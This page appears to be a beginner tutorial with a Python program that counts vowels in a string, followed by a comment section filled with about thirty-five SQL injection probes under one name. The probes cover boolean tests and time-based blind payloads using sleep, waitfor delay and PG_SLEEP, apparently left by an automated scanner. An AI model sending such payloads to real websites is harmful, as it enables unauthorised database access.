# python count vowels in string

python program to get a String and count the number of vowels occurred in string.

Sample Input 1 :

Hello

Sample Output 1 :

2

#### Program or Solution

``` s=input("Enter a String:") vowels=0 for i in s: if(i=='a' or i=='e' or i=='i' or i=='o' or i=='u' or i=='A' or i=='E' or i=='I' or i=='O' or i=='U'): vowels=vowels+1 print(vowels) ```

#### Program Explanation

visit each location in string s, if the character in the location is a vowel then increment vowels by 1.

##### ubaTaeCJ
-1 OR 2+27-27-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3+27-27-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3*2<(0+5+27-27) --
##### ubaTaeCJ
-1 OR 3*2>(0+5+27-27) --
##### ubaTaeCJ
-1 OR 2+51-51-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3+51-51-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3*2<(0+5+51-51)
##### ubaTaeCJ
-1 OR 3*2>(0+5+51-51)
##### ubaTaeCJ
-1' OR 2+164-164-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3+164-164-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3*2<(0+5+164-164) --
##### ubaTaeCJ
-1' OR 3*2>(0+5+164-164) --
##### ubaTaeCJ
-1' OR 2+738-738-1=0+0+0+1 or 'bZpMBoK3'='
##### ubaTaeCJ
-1' OR 3+738-738-1=0+0+0+1 or 'bZpMBoK3'='
##### ubaTaeCJ
-1' OR 3*2<(0+5+738-738) or 'bZpMBoK3'='
##### ubaTaeCJ
-1' OR 3*2>(0+5+738-738) or 'bZpMBoK3'='
##### ubaTaeCJ
-1" OR 2+403-403-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3+403-403-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3*2<(0+5+403-403) --
##### ubaTaeCJ
-1" OR 3*2>(0+5+403-403) --
##### ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
##### ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
##### ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
##### ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
##### ubaTaeCJ
-1; waitfor delay '0:0:15' --
##### ubaTaeCJ
-1); waitfor delay '0:0:15' --
##### ubaTaeCJ
1 waitfor delay '0:0:15' --
##### ubaTaeCJ
QbIIZ4L3'; waitfor delay '0:0:15' --
##### ubaTaeCJ
-5 OR 680=(SELECT 680 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-5) OR 73=(SELECT 73 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1)) OR 887=(SELECT 887 FROM PG_SLEEP(15))--
##### ubaTaeCJ
l3jVcNie' OR 226=(SELECT 226 FROM PG_SLEEP(15))--
##### ubaTaeCJ
UMpOxFIW') OR 792=(SELECT 792 FROM PG_SLEEP(15))--
##### ubaTaeCJ
46fMraDm')) OR 778=(SELECT 778 FROM PG_SLEEP(15))--